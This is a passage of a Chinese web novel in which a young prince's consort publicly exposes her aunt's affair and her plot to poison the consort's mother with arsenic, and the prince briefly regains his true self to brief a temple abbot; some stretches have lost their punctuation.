谢元棠微微愣了下,这还是第一次有人挡在她的面前,不让她直面那些腌臜事。
这就是有娘保护的感觉吗?
谢元棠微微勾了勾唇,撒着娇道:“我还以为娘亲会心软放过谢雪瑶呢。”
毕竟谢雪瑶是她看着长大的。
“心软?”
冷蕴菀冷哼一声,她只后悔这些年被谢家人上了眼药,才让她的女儿受了这么多苦。
想到这里,冷蕴菀恨得咬牙,想也不想脱口而出:
“老娘现在恨不得弄死……咳咳……”
话说一半,想起女儿还小,连忙改口:“娘的意思是说,娘要敲打敲打她。”
谢元棠捂着小嘴笑:“嗯嗯,明白,敲打嘛!娘亲绝不是要弄死她!棠棠什么都没听见!”
冷蕴菀:“……”
司徒砚紧跟着捂耳朵:“娘子没听见,我也没听见……不过老娘是谁的娘?”
冷蕴菀:“……”这个话你是非接不可吗!
三人一边往小树林走,谢元棠一边问着谢雪瑶的背景。
冷蕴菀简单概括:“她能有什么背景?不过是仗着谢兆青的名号,嫁过两次人罢了,第一次的亲事还是我帮她说的。”
谢雪瑶第一次嫁的是个富商,祖上也是袭有爵位的,冷蕴菀看重对方人品相貌都不错,但谢雪瑶看不上人家,不出半年就闹了和离。
三年后她又缠着谢兆青让她嫁给了一个姓赵的将军,可惜那赵将军一场战事后一
条腿残了,谢雪瑶对外宣称不抛弃不放弃,为此还换了一个“谢娘子”的美名。
“原来谢娘子这个称号是这么来的。”
谢元棠恍然大悟,又问:“那个赵将军是不是官位很高?”不然谢雪瑶怎么可能死活不和离?
冷蕴菀回忆片刻道:“当年是从四品,后来好像因为军功升成了四品。”
四品武将,姓赵,有腿疾……
谢元棠想了想,眼睛一亮道:“夫君,你还记得上回围猎时咱们见过一个叫赵刚的人吗?”
司徒砚点点头:“他帮我牵过小乖。”
谢元棠眯了眯眼:“他好像是跟在二皇兄身边的。”
而且她记得,那人好像特别嫉恶如仇呢!
希望他会喜欢她送的这份大礼!
三人一边走边说,等到小树林附近的时候,谢元棠已经把谢雪瑶的背景掌握的差不多了。
“夫君你陪着娘亲慢慢走过去,我先去做点准备。”
谢元棠卷起袖子,抄小道绕进小树林,直奔里面那个小佛堂。
小佛堂里,此刻谢雪瑶正衣衫半露,躺在床上享受着韦羊的“服务”。
“呼~怎么样,我是不是比赵刚那个瘸子强?”
“提他做什么,我都怀疑他是个太监。”
否则怎么对她一点兴趣都没有?
谢雪瑶换了个姿势趴着:“嗯~你顺便帮我抓抓背,有点痒。”
“是这里吗?”
“嗯~”
谢元棠跑到墙角的时候,刚好听着这一句。
她眨了眨眼,仰头望天。
好朴实的对话!
韦羊的声音传来:“对了,你今天为什么生气?”
“还不是那个冷蕴菀那个贱人!”
“你不是下药了吗?她怎么还没死?”
“谁知道,周翠也不知道怎么办事的,不过也快了,只要她一死,她那些陪嫁就全是我们谢家的了。”
谢元棠面色骤冷,小手渐渐握成了拳头。
谢雪瑶的声音再度响起:“嗤,要不是顾忌着冷家会找麻烦,我哥早动手了。”
谢
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元棠眼神微闪,冷家?
韦羊问道:“你不是说冷家前段时间送信来了?”
“
是啊被我哥模仿冷蕴菀的笔记敷衍过去了他们怎么也不会想到真正的冷蕴菀已经快死了哈!真想看看冷枕山知道真相时的样子!”
“丞相大人真是算无遗策啊!”
“好了别说废话了你还行不行?快一点~”
“再等会儿我吃颗药……”
谢元棠听到这里手腕微动从随身研究室储藏柜里拿出鞭炮和点火枪。
托她那个人菜瘾大的学弟的福她研究室里多的是稀奇古怪的东西。
不过他实在是太菜了以至于如今正躺在她的陈列室里……
谢元棠拿着鞭炮悄无声息地绕着房子围了一圈。
然后耳朵贴墙听着动静确保里头的两人脱了衣服又开始“健身”之后她才微微一笑点燃了引线!
一时间只听“噼里啪啦”的声音响彻整个小树林!
“哎呀着火啦!”
“快救火呀!”
谢元棠捏着鼻子大喊。
同一时间白芙领着众位“群演”闻声而来。
“快就在那边!”
“该不会是谢娘子就在火里吧?大家帮帮忙快点过去救人啊!”
另一边司徒砚陪着冷蕴菀“焦急”走来:“雪瑶?可是雪瑶在里面?”
“天呐!快救火啊!”
暗中关注本来想帮一把的住持:“……”好像没他用武之地了。
气氛到位观众到位。
随着鞭炮最后一节高亢激昂的噼里啪啦声两个光溜溜的身影从房间里狂奔而出!
“火?哪里着火了?”
“是谁放的火?”
谢雪瑶手忙脚乱地裹着衣服蓬头垢面跑出来下一瞬就僵在了原地。
怎么……这么多人!
韦羊也傻眼了不过他机灵当下就想用衣服盖住自己和谢雪瑶的脑袋挡住容貌溜之大吉!
谁成想他手刚一动一枚银针“嗖”的刺过来正巧打中他的手腕!
同时
“天呐!这不是谢兆青谢丞相的亲妹妹赵刚赵将军的妻子人称谢娘子的我的姑姑谢雪瑶吗?”
第58章 重要的事情说三遍!
听见谢元棠的声音,谢雪瑶差点没一口老血吐出来!
说这么详细,你报我身份证号呢你!
没等她否认,躲在人群中的白芙就憋着笑开口:“真的是谢娘子谢雪瑶吗?”
“是呀是呀!”
谢元棠亮堂的声音再度响起:“真的是我爹谢兆青谢丞相的亲妹妹,赵刚赵将军的妻子,人称谢娘子的我的姑姑谢雪瑶呀!”
她还转头问冷蕴菀:“娘亲您看看是吗?”
冷蕴菀辛苦地咽回嘴角的笑意,认真地点头:“确实是我夫君谢兆青谢丞相的亲妹妹,赵刚赵将军的妻子,人称谢娘子的我的小姑子谢雪瑶!”
司徒砚在旁边默默掰指头数,小声道:“娘子,重要的事情说三遍,咱们说够啦!”
众人:“哦!原来是谢雪瑶啊!”
谢雪瑶:“我不是……噗!”话没说完,一口老血喷出来,溅了自己一身!
但此刻她再否认,已经没有信了。
众人指着她和韦羊议论声声。
“啧,有些人表面是谢娘子,实际上却在这里偷男人,真是不要脸!”
“可不是,玷污了佛堂,也不怕佛祖怪罪吗?”
“呸!我们还来救她呢!现在我只想找个人来救救我的眼睛!”
“我也是,辣眼啊!”
谢元棠笑滋滋地听着,忽然一只大手轻轻捂住了她的眼睛。
她愣了下抬头,就看见司徒砚正用另一只手捂着自己的眼:“孙逢必说不能看光溜溜,眼睛会瞎的。”
谢元棠翻了个白眼:“你才跟孙逢必说一天的话,他到底跟你说了多少啊?”
她扒拉开司徒砚的两根手指,大眼睛从他手指缝中露出来偷看。
司徒砚皱眉:“不能看的。”
谢元棠眨眨眼:“我没用眼睛看,用的是眼珠子看的。孙逢必让你挡眼睛,又没让你挡我眼珠子。”
司徒砚认真一想,点点头:“……好像有点道理。”
谢元棠嘿嘿一笑,继续看戏。
谢雪瑶狼狈地裹着衣服,心下已然知道自己中了计。
她抬起头,看着冷蕴菀和谢元棠,哭得梨花带雨:“嫂子,元棠,我跟你们无冤无仇,你们为什么要这么害我?”
冷蕴菀没想到这人能这么颠倒黑白,气得手都在抖:“明明是你自己做下这种糊涂事,竟然说我害你?
“不是你是谁?
谢雪瑶捂住地跌坐在地上,仿若一朵落入尘泥的白莲,委屈道:“我根本不认识那个男人,你们竟然狠心到给我下药,枉我这般相信你!嫂子,你何等狠心啊!
“你,你……咳咳咳咳……
冷蕴菀不太擅言辞,这会儿被气得直咳嗽。
谢元棠目光一转,小手拉住冷蕴菀,小声道:“娘亲别气,对付这种绿茶我最会了!
说罢,她低头沉默两秒,再抬头时,小脸上已经挂上了泪珠,可怜巴巴地说:“姑姑,你怎么可以这么说娘亲?
谢雪瑶:“……
“明明走进小树林的人是你自己呀,娘亲病得这么重,她是为了来找你才走这么远的路的,你还说她害你……
司徒砚捧哏:“你还说她害你!
“娘亲没有力气,她难道还能把你按床上吗?
司徒砚:“能把你按床上吗!
“你比娘亲胖那么多,难道娘亲还能脱了你的衣服吗?明明是那个男人脱的。
司徒砚:“是那个男人脱的!
谢雪瑶:“……
你们俩够了!
陷害她还不够,还要来个双重唱嘲讽她!
她要疯了!
谢雪瑶恨恨地瞪着谢元棠,气道:“谢元棠,你回门的时候就跟你爹不和,还欺负雨沫,这都是众所周知的事情,如今便要连我也毁了吗?我再如何也是你亲姑姑啊!你还有良心吗?
谢元棠眨了眨眼,豆大的泪珠止不住地往下掉,声泪俱下,惹人共情。
“姑姑你怎么可以这样说?
“回门那天妹妹欺负我,百姓都看着,姑姑你怎么能颠倒黑白?难道我脸上的伤是假的吗?
吃瓜百姓看着这一幕,都皱起了眉头。
有人小声道:“那天我在场啊,分明就是谢雨沫的错!
“我也看见了,那天小皇妃脸上的伤更重呢,太可怜了!
“哎呀这谢雪瑶怎么忍心给小孩子泼脏水啊?真表脸!呸!
谢雪瑶:“……
说,说不过。他们有双重唱!
演,演不过。她比她还绿茶!
谢雪瑶恨得又一口血吐出来,差点晕过去!
谢元棠见状,吸了吸鼻子:“姑姑你不会要装晕吧?”
谢雪瑶:“……”
就在这时,言枫押着周翠终于登场。
周翠一出场就扑在谢雪瑶身边,哭嚎道:“谢娘子啊,你可要救救奴婢啊!奴婢都是按照你的吩咐给夫人药
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里加的砒霜,您可不能看着奴婢死啊!”
谢雪瑶没想到周翠会这个时候出卖她,一时间脸都白了,咬牙否认:“你别乱说,我何曾让你这么做了!”
周翠大嚎:“怎么没有?我屋子里还有你留给我的砒霜呢!你房间里也有,就在箱笼下面,我看见你放的!”
“阿弥陀佛!”
华觉寺住持恰时出现:“善哉善哉,玷污我佛,伤及人命,贫僧不可不管。”
他看向谢元棠和司徒砚:“殿下,皇子妃,如果信得过贫僧,贫僧可派人去搜证据。”
谢元棠巴不得有中间人呢,当下就给了白芙一个眼色:“有劳了。”
有白芙跟着去,也不怕这些和尚暗中动手脚。
众人有凑热闹的也跟了上去,不多时就拿着两包砒霜回来了。
住持看着谢雪瑶,摇了摇头叹息道:“证据确凿,谢施主,你还有什么说的?”
“我,我……”谢雪瑶想要喊冤,但这么多人看着,她喊了也得有人信。
“把他们沉塘!”
“绑到佛祖面前做成烛台,让他们忏悔一辈子!”
“就该将这对奸夫淫妇挂在城门口,让大家都好好看看!”
“……”
众人恨恨地指着谢雪瑶,他们大多都是来这里请愿的百姓,如今谢雪瑶这事一出,无疑是侮辱了他们心中的信仰。
听着众人的诅咒声声,谢雪瑶惨白着脸看向冷蕴菀:“不,我不要沉塘,嫂子救救我!”
冷蕴菀看着她,抿了抿唇道:“不敢当,我没有你这种给我下砒霜的小姑子。”
“善哉善哉。”
住持看了眼谢元棠,目光微移落在旁边司徒砚的身上:“如果二位信得过贫僧,贫僧会着寺里的武僧将几人送交官府,二位以为如何?”
谢元棠挑了挑眉,他问的是司徒砚。
真奇怪,很少有人会问司徒砚的意见。
司徒砚眨眨眼,看向谢元棠:“娘子觉得呢?”
谢元棠笑了笑道:“交官府最好,多谢住持方丈。”
“阿弥陀佛。”
等僧人将谢雪瑶几人带走,吃瓜群众便也渐渐散了。
谢元棠扶着冷蕴菀往回走,司徒砚慢了两步,正要跟上,忽然被言枫轻轻拽了一下。
言枫小声道:“殿下,跟我来,有人要见你。”
司徒砚疑惑地看看他:“谁啊?”
一边问,他一边没有防备地跟了过去……
第59章 替主献身
言枫走在前,司徒砚跟在他后面。
“我想回去找娘子,然后跟她一起去!”
“不行!”
言枫脸色微变,忙道:“殿下,皇子妃正陪着谢夫人呢,您听话,难道您还信不过我吗?”
司徒砚狐疑地扫视着他,言枫下意识咽了口口水,就看见司徒砚摇了摇头:“信不过。”
“为什么?”
言枫急了,娃娃脸登时就委屈了,仿佛被负心汉抛弃似的:
“我跟了您这么多年!打了这么多架!闯了这么多祸!就差把心掏给您了,您……您竟然说这样的话!”
他红着眼,想到什么又问道:“难道您是怪我之前趴墙头的事吗?我……”
“不怪你——”
司徒砚摇摇头,修长的食指指着自己,颇有几分烦恼道:“只怪我过分美丽。”
言枫傻了:“……嘎?”
司徒砚一本正经地说:“娘子说了,我美得太危险,不能跟人进小树林。”
言枫:“……”
“孙逢必也说了,我太好看了,容易引人犯罪。”
言枫:“…………”
“唉,言枫,我长得真的那么好看吗?我真羡慕你,你就没有这种烦恼。”
言枫:“………………”
娃娃脸表情裂开,言枫咬牙切齿道:“我保证您不会有危险的,快点走吧。”
司徒砚很勉强地点点头:“那好吧,那要是有危险,你得替我献身昂,我是要守男德的。”
言枫脚下一绊,心里差点骂娘。
好不容易再三保证“替主献身”,言枫才将人哄到了地方。
司徒砚看着不远处那棵上百年的古松,微微愣了愣,视线落在树底下那道眼熟的身影上。
“咦?住持老和尚!”
天渺住持转头,看着走近的人,双手合十道:“阿弥陀佛,殿下来了。”
司徒砚歪了歪头:“你找我?可是我们刚才不就站在一块儿吗?”
天渺目光复杂地看了他一眼,微微叹息一声,指着身前落满积雪的石桌道:“殿下可知这积雪下面是什么?”
“知道啊。”司徒砚点点头,想也不想就道,“桌子嘛!”
天渺:“……”
言枫没好气道:“不用试了,没用的。”
天渺抬起手,衣袖带风轻拂过石桌,足有半尺厚的积雪倏忽间散开,露出石桌上摆好的棋盘,以及棋盘上下了一半的棋局。
司徒砚目光惊讶地看着那棋局,忽然蹙了蹙眉心,感觉似曾相识似的。
天渺微微一笑,执起他的手腕引他到桌边,缓缓开口:“贫僧曾在这里与一位小友下棋至一半,那位小友说五月十五会再来下完这局棋,但如今已经月底,他却依然没有出现。”
司徒砚没察觉什么,依然懵懂天真:“他没有来,那你就去找他啊!”
天渺:“……殿下所言甚是。”
司徒砚一边说话,一边低头,似乎是出于某种习惯,驱动着他伸出手指碰向其中一枚棋子。
天渺站在他身后,手指从他腕间滑过,缓缓收手。
言枫悄悄朝他使眼色:怎么样啊?
天渺摇摇头,然后叹了口气:“阿弥陀佛。”与此同时,食指和中指并齐,冷不丁地点在司徒砚颈间一处穴位。
司徒砚登时一僵,整个人失去意识朝前栽去,手上拿着的那枚黑棋无力地飘落在地。
“殿下!”言枫连忙扶住他。
天渺弯腰拾起那枚黑棋,又看了眼棋局,微微笑道:“看起来他并没有全忘。”
说罢将那枚棋子放在棋盘上某处空位,原本已经死局的棋盘忽然活了过来,胜负难料。
“现在怎么办?”言枫问道。
天渺从怀里拿出一枚佛珠大小的丹药塞进司徒砚口中:“这是师兄离寺前留下的药,能催醒他的神魂,只不过不可多用,而且……只能维持三日。”
“你送他回去,不出意外的话,大概今夜,他就会醒来了。”
若非他们有太多的疑问,和太多需要那人做决定的事情,他也不会强行唤醒那人。
言枫看了眼昏过去的司徒砚,叹了口气道:“会这么顺利吗?我怎么总感觉不踏实呢?”
他跟天渺约好见面地点,随后便背着司徒砚回去了。
——<
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谢元棠没有多想,因为白芙跟她言枫拉着司徒砚堆雪人了。
这事放在别人身上不靠谱,但放在司徒砚身上……太正常了。
她只吩咐白芙:“准备点姜汤待会儿等夫君回来给他喝了。”
“是。”白芙笑着应下。
谢元棠扶着冷蕴菀进屋冷蕴菀眼看着她连白芙都支了出去便笑着问道:“棠儿有话跟我说?”
不然怎么可能连大女婿都顾不上管了。
谢元棠点点头坐在冷蕴菀身边开门见山道:“娘可以跟我讲讲冷家吗?”
冷蕴菀微怔脸上笑容微敛:“怎么忽然问起这个了?”
谢元棠没有隐瞒将自己在小佛堂外偷听到的事情说了。
得知冷家曾写过信却被谢兆青给糊弄了过去冷蕴菀脸色骤变。
“谢兆青!他竟然敢!”
信任了十年的枕边人竟心狠至此冷蕴菀又恨又悔怒气攻心之下猛咳起来。
谢元棠连忙帮她轻拍着背:“娘不要气为那种狗值得的。”
冷蕴菀苦笑摇头声音微微哽咽:“娘只是后悔棠儿娘真的……看清得太晚了。”
“如果娘早知道早知道他是这样的人……娘当年就不会为了他跟你外祖父决裂了娘以为他们再不肯原谅我却不知道他们竟会写信来京而我却什么都不知道我真是太不孝了……”
十多年前的冷蕴菀曾是将门千金全家宠在掌心的小公主一次偶遇
冷枕山怒极放出狠话从此父女断绝关系恰逢战事起冷枕山带着几个儿子亲赴战场一走就是十来年。
至此冷家退出京城冷蕴菀逐渐病重十多年来从未收到过冷家的信件。
她不知道那些信件全都被谢兆青给拦截并且模仿她的笔记回了信让冷家人再也不要联络她。
谢元棠听完毛茸茸的小脑袋摇了摇小大人似的感慨:“可见恋爱脑要不得呀!娘啊你要记住不管什么时候都不能替男人着急。”
话音刚落白芙进来道:“皇子妃殿下被言枫背回来了!”
“什么?”
谢元棠大惊想也不想就往外跑。
冷蕴菀:“……”不是不着急吗?
第60章 司徒砚苏醒了!
言枫刚将司徒砚放在床上,一转头就看见谢元棠风似的冲了进来。
“怎么回事?”
她一边问一边快步走到床边,抬手先去摸鼻息,感觉到还有呼吸才松了口气:“还活着就好。”
言枫嘴角抽了下,郁闷道:“当然还活着了,殿下只是玩累了睡着了而已。”
睡着?
谢元棠挑了挑眉,想到他今天又是背着她爬山又是走路的,确实累,于是点点头道:“那让他睡吧,你下去守着。”
言枫本来都往外走了,回头一看谢元棠还坐在床边,犹豫着问:“……你不出去?”
谢元棠斜他:“你管我!”
言枫顿时一噎,气哼哼地出去了。
等他离开后,谢元棠才按住司徒砚的脉象:“……没有异常啊,真的只是累了?”
她想了想还是不太放心,就又从研究室里拿了瓶营养液,往里兑了半瓶解毒剂,掰开司徒砚的嘴给灌了进去。
可怜司徒砚放在床边的手指刚微微动弹一下,喝下这瓶营养液,又彻底睡过去了。
小手拍拍司徒砚的脸颊:“睡吧睡吧,保证你一觉睡到天亮!”
做完这些,谢元棠才又起身出去,她还没跟娘亲聊完呢。
冷蕴菀看着女儿进来,微微笑着问:“司徒砚没事吧?”
“没事啊。”谢元棠大咧咧摆摆手,“玩累了,这会儿睡死过去了。”
冷蕴菀笑看着女儿,她原本觉得这桩婚事不好,可如今看来两人还真能玩到一块儿去。
只是……
冷蕴菀仍有些担忧,正想着要不要交代女儿一些事,就听见她凑过来小脑袋巴巴地道:“娘亲,跟我一起下山吧。”
冷蕴菀微愣,谢元棠再接再厉道:“娘跟我住皇子府,我帮你请御医治病,等娘亲身体好了,棠棠再带你杀回谢家!把谢老狗踩地上,嘎嘎踩!”
她边说边挥着小拳头,冷蕴菀被女儿逗得笑出声来。
“又在那里胡说了,谁家女儿嫁人还带着娘的,惹人笑话。”
谢元棠皱眉,想了想道:“那我帮娘在皇子府隔壁买个宅子,我现在可有钱了!”
话一顿,她又骄傲地拍着胸脯道:“我还有地契!上回要到了好多份子钱呢
,我有钱!”
冷蕴菀又好笑又欣慰,抬手摸摸女儿可爱的小脸道:“娘不缺钱,当年……你外祖父虽然生娘的气,但却给了娘好多嫁妆。”
除了放在谢家的,她在京中还有很多房产和店铺,这些原都是她留给女儿的底气。
谢元棠不明白了:“既然如此,娘就更应该下山啦,这里又冷又阴,不适合娘将养,娘亲回京住,有棠棠保护你,不会让谢老狗欺负你的。”
冷蕴菀还是摇头:“娘暂时不想走。”
“为什么啊?”
冷蕴菀叹了口气,让女儿坐在自己身旁,拍拍她的小手道:“娘知道棠儿心疼娘,正因为如此,娘不能拖累你。”
“你这桩婚事本来就闹得沸沸扬扬,如今跟司徒砚两人都站在风口浪尖上,娘这个时候回去,不管是自己单独住,还是跟着你住皇子府,都会让你们受人口舌。”
谢元棠皱眉:“我又不在乎这些。”
“但娘舍不得我的宝贝受委屈。”
冷蕴菀道:“如今娘至少名义上还是丞相夫人,只要这个名头还在,你总归多一层保障,起码谢兆青明面上不会为难你。否则一旦娘和离,以谢兆青的性子,必定不会让你好过。”
顿了顿,冷蕴菀冷声道:“再说娘也不想这么简单就跟他和离,那太便宜他了,谢家欠我们娘俩的,娘要亲手讨回来!”
谢兆青想吸干她的血,再让她让位给魏莲,那是白日做梦!
谢元棠安静了。
她知道冷蕴菀这么说只是安慰她,实际上她们最大的问题还是没有倚仗。
她还是太弱了!
谢元棠握紧了拳头,心里迫切的想要长大,想要力量,想要势力!
司徒砚还不够强,五皇子妃更不够强。
言关清虽说了会帮他们,但那毕竟是司徒砚的母族,不是她的。
她不能确定一旦她和娘亲真的跟谢兆青这个当朝丞相对上,言关清是不是还会帮她。
冷家……
谢元棠抿了抿唇,或许她得想办法联络一下自己
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这个外祖父了。
当晚,谢元棠是和冷蕴菀一起睡的。
冷蕴菀瞅准机会悄悄问女儿:“你和他……都是睡在一处吗?棠儿,你还小,他看着也不懂事
,你们……”
“娘,你想哪里去了?”
谢元棠好笑地抱着冷蕴菀的胳膊道:“司徒砚心理年龄还没我大呢,我当他是弟弟。”
“再说皇子府的床可大了,别说我俩,再加上白芙言枫和罗吉,五个人并排躺都没有问题哦~”
冷蕴菀:“……”五个人并排,你当是炕啊!
谢元棠没多解释,其实按照她的性子,本也是不会跟人睡一张床的。
但司徒砚情况太特殊了,身体随时会毒发,身边随时有刺客,他自己还时不时“失忆犯病”。
她不看紧一点,只怕她这个皇子妃的位子还没坐稳,皇子就先没了!
这些她不想跟冷蕴菀说,省得她担心,便转移话题道:“娘跟我说说外祖父的事吧,我想听。”
“你外祖父啊——”
冷蕴菀笑着回忆起往事:“他就是老顽固……”
母女俩聊到深夜才睡。
而隔壁,言枫哆嗦着站在冷风中,不停地打着冷战。
“阿嚏!”
言枫摸摸鼻子,嘟囔道:“主子怎么还没醒?天渺住持还在大殿等着呢。”
他望望天,觉得不能再这样下去,于是悄摸溜进司徒砚的房间。
一进去便看见司徒砚在床上睡得很安详!
言枫皱紧了眉头,大着胆子拍拍司徒砚的胳膊:“主子,醒醒!”
司徒砚呼吸均匀,体态舒展,完全没有一丁点要醒来的意思!
言枫满头问号,小声嘀咕:“不是说了主子晚上就会醒吗?难道天渺住持的药过期了?”
他叫不醒司徒砚,只好又出门等着。
这一等,便等到了翌日清晨。
当第一缕朝阳照射在迷云山的山顶上,当言枫流着鼻涕,顶着发烧的脑袋晕乎乎地靠在墙上迷瞪,当远在大殿里的天渺住持默默给自己煮了碗姜汤的时候。
司徒砚终于拉开房门,走了出来。
第61章 他叫她小棠儿
“啊哈……啊?”
言枫嘴巴张成个大大的O形,打哈欠正到关键时刻,一转头就看见司徒砚清风霁月地站在门口。
清寒的桃花眼扫过言枫那张还没合上的狮子大口,司徒砚嫌弃地蹙了蹙眉:“有蛀牙。”
言枫:“……”
司徒砚说完就走,言枫跟在他身后,拿不准地小声问:“主子,是您吧是您吧?”
司徒砚没回答,只是顿住脚步吩咐:“你不必跟着。”
言枫不明所以:“为什么啊?”
司徒砚看了眼隔壁的房门,脱口而出:
“等娘……咳咳,等小棠儿醒来,告诉她我很快回来,让她不必担忧。”
“哦。”
司徒砚转过身,懊恼地抿了抿唇。
当真是叫习惯了,方才差点就叫了“娘子”!
叹了口气,司徒砚施展轻功快速地朝着大佛殿掠去。
他确实有必要见天渺住持一面,否则再这样下去,只怕他永远都“醒”不过来了。
司徒砚到的时候,天渺住持正可怜兮兮地,捧着第三碗姜汤啜着。
司徒砚熟门熟路地从大佛殿后的巷弄绕进来,站在天渺住持背后,轻声开口:“住持久等了。”
“噗……咳咳咳咳!”
天渺住持一口姜汤喷了半口,端着碗猛地咳嗽起来。
司徒砚:“……”
天渺端碗的手抖了抖,没有立即转头,而是对佛像拜了拜,口中念道:“阿弥陀佛,我佛在此,邪祟皆退!”
念完才转过身看向一脸无语的司徒砚。
司徒砚哭笑不得:“住持,您佛法无边,我就算是邪祟,也近不了您的身的。”
堂堂华觉寺高僧,竟然怕鬼,这不是太搞笑了吗!
天渺:“……殿下见笑了。”
他放下姜汤,面上已然恢复高僧的淡定:“殿下来迟了。”
一边说,他一边朝司徒砚伸出手。
司徒砚同时将手腕递过去:“昨天服下住持的药后,我本来已经快苏醒了,但突然间极其困乏,以至于到方才才醒。”
“困乏?”
听着他的话,天渺住持眉头不禁皱紧:“昨日没时间细诊,如今把着殿下的脉,似乎比以前
强壮了许多,只是……
顿了顿,天渺语气有些拿不准:“只是殿下体内的毒却似乎消失了,殿下近来可吃过什么特殊的药物?
问到这里他又急道:“您体内的毒不能乱用药,否则一旦失衡,就再也无力回天了。
司徒砚沉默片刻,想起这段时日以来谢元棠给他喝的稀奇古怪的东西:“我大概知道是怎么回事,住持放心,应当……不会有事。
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至少他如今的身体状况比之从前几年都要好,再也没有毒发过,也没有疯过失控过,唯一的不便只有……
“我可能短时间内出不来了。
司徒砚说。
天渺怔了怔,但从这些日子司徒砚的表现,以及刚才的脉象看,他又好像没有多意外。
司徒砚道:“趁着今日,便将一些事托付与住持,劳烦住持代为转达。
“阿弥陀佛,殿下请讲。
司徒砚转过身,背对着大佛,望着殿外正升的朝阳,清冷的声音缓缓响起:“第一,找人查一查四哥和虞家。
天渺猛地抬头:“四皇子?难道冲喜那晚,您是被他们……
司徒砚摇摇头道:“那件事应和四哥无关,而是背后另有其人。
一向清澈的桃花眼中此刻晦暗莫深:“能知道言枫和言墨都不在本宫身边,且还知道那日本宫病发无法苏醒,神不知鬼不觉地溜进皇子府下毒的人,绝不简单。
如果不是那人时机把握得正正好,他也不会阴沟里翻船,也就不会有谢元棠冲喜一事了。
天渺叹了口气道:“我们得知时亦很是震惊,但您一直没出现,我们不知更多的实情,只能暗中调查,可是调查结果,其中只有姜皇后和谢家的手笔。
“呵。
司徒砚冷笑:“越是上了桌的敌人,越不可能是敌人。
姜皇后不过是愚蠢的,做了背后那人的挡箭牌罢了。
“这件事你们先不必查了,省得打草惊蛇。司徒砚道,“
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如今本宫势起,那人早晚会坐不住再次动手的,是狐狸,总会露出尾巴来的。
就好像当年给他下毒的人一样。
天渺点了点头应下,想起什么又问:“殿下在围猎场被劫持的事……
“没脑子的人
干的蠢事罢了,不必管。”
“……是。”能被殿下这么形容的,也就只有那一位了。
吩咐完正事,眼看天快大亮,司徒砚又道:“还有一事要劳烦住持。”
“殿下请讲。”
“以谢夫人的个性,怕是不会下山的,她住在这里期间,还请住持代为照顾。”
天渺有些意外地看了眼司徒砚。
他这是将冷蕴菀直接纳在他的势力范围之下了?
曾经的那个殿下,可是从来不会插手别人的事的,如今却会管这样一件“闲事”……
虽说真要论起来,冷蕴菀也不算旁人,而是他丈母娘。
但那可是司徒砚啊,连言家在他眼里都只是个符号,何况一个从未有过交集的丈母娘?
天渺双手合十心中默念:贫僧不是八卦,贫僧只是想问清楚,贫僧真的不是八卦。
默念完,他才干咳一声问道:“不知道殿下所谓的照顾,是普通朋友,还是……”
司徒砚英俊的眉轻轻蹙了蹙:“她是小棠儿的母亲,你说呢?”
天渺:“……”懂了。
大佛殿这边两人正在说话,另一边谢元棠却醒得比往常都早。
她没有惊醒冷蕴菀,而是轻手轻脚穿上衣服走出门。
本来她真没多想,单纯地,只想感受一下古代没有被污染过的山间的清晨。
只是她刚一出门,就看见蹲在门口的,一看见她就心虚地瞥过了眼神,不安地看天看地就不看她的言枫。
一张娃娃脸上,写满了“我心虚”三个大字!
谢元棠眯了眯眼:“大清早你在这里干吗?”
“我……看蚂蚁!”
言枫莫名有些怵谢元棠,被她一盯,下意识举起双手,脱口而出:
“我真的只是蹲在这里看蚂蚁,我什么都没做,什么都不知道啊!”
谢元棠:“……”
第62章 夫君,你今天怎么不叫我娘子啦?
好一个此地无银三百两!
她又不是司徒砚,要是这都能信才有鬼了!
谢元棠走过去,她站着,言枫蹲着比她还低一点。
谢元棠居高临下看着他:“真的没做什么亏心事?”
“没有!”
“跟司徒砚有关?”
“没关!”
谢元棠点点头,转身往隔壁走去。
言枫急了,“噌”地站起来跟上她:“我都说了没关,你怎么还往这儿走?”
谢元棠斜他一眼:“如果你真的没做亏心事,我质问你的时候,你会生气的跳起来反问我凭什么这么说你,而不是想也不想就否认。”
言枫哑口无言。
谢元棠不理他,抬手推开门。
房间里空荡荡的,床榻冰凉没有温度,至少说明司徒砚已经起来有一会儿了。
“他人呢?”
谢元棠皱眉,冷眼看向言枫。
司徒砚不是那种不打招呼的人,何况她早就跟他说过,出门身边至少带一个人,尤其在不熟悉的地方。
但现在本应该跟着他的言枫却在这里,那司徒砚在哪里?
谢元棠问这话时眼前不禁浮现出上回围猎时的情景,心脏顿时提了起来。
她背着光,漆黑的瞳孔没有了往日的天真烂漫,冷冰冰扫过来一眼,仿若天罚降下前的宁静,让人莫名升起一股恐惧来。
言枫自己就是个打打杀杀的人,双手不知染过多少血,可此刻面对谢元棠的眼神,竟有种面对真正的司徒砚时才有的敬畏。
“那什么……你别担心啊,主子没事的!”
言枫急忙道:“他就是……出去玩儿了,很快就回来了,真的!”
他一边说一边心里哭嗷嗷的:主子啊,下回这事让言墨来干吧,我害pia~
谢元棠背在身后的一只手微微翻转,一边走近言枫:“出去?他去哪儿了?”
“这个……那个……”
言枫正想着说哪里比较好,还没想出来,就看见谢元棠突然看向他身后。
“咦?”
大大的眼睛仿佛璀璨星辰突然有了光,声音灵动得仿佛森林精灵,让人绝不会怀疑:“夫君~你回来啦!”
回来了?
那可太好了!
言枫下意识回过头去看。
门外路上安安静静的,哪有半个影子!
“没有啊,皇子妃你是不是看错……卧草草草草草草!
一边说着话,言枫一边回头。
只是刚转回来,便被贴着他脸的放大版丧尸给吓了个神魂出窍!
零号:“咔,咔,咔……
言枫:“啊!啊!啊!!!
谢元棠两只小手捧着零号的脑袋,趁着言枫灵魂出窍的实际,毫不客气地砸向他的脖颈!
言枫:“鬼啊啊啊……嘎!
还没嚎完,人就晕了!
谢元棠放倒他,甩了甩手哼哼:“让你不跟我说实话,睡着吧你!
她抬手摸摸零号“可爱漂亮的脸蛋,慈爱地夸它:“小宝贝,你真棒!
零号:“咔咔!被表扬了!回去可以炫耀了!
谢元棠夸完就将它收回了研究室,然后转身出门。
华觉寺不大也不小,想在最短时间内找个人并不是件容易事。
但谁让谢元棠昨天刚和司徒砚一块儿去探过地图呢!
从他昨天的表现来看,整个华觉寺,就一处地方最可疑!
谢元棠没怎么犹豫,就朝着大佛殿跑了过去。
她倒要看看,她的傻夫君大清早跑出来到底在做什么!
——
与此同时,大佛殿。
司徒砚已经和天渺住持说得差不多了。
他看了殿外的天色,本来已经要走,想了想又顿住脚步,回身道:“对了,差点忘了。
司徒砚朝天渺伸出手:“天绝师父留下的丹药,给我一颗。
天渺顿时一惊,想也不想就捂紧袖子:“没了!
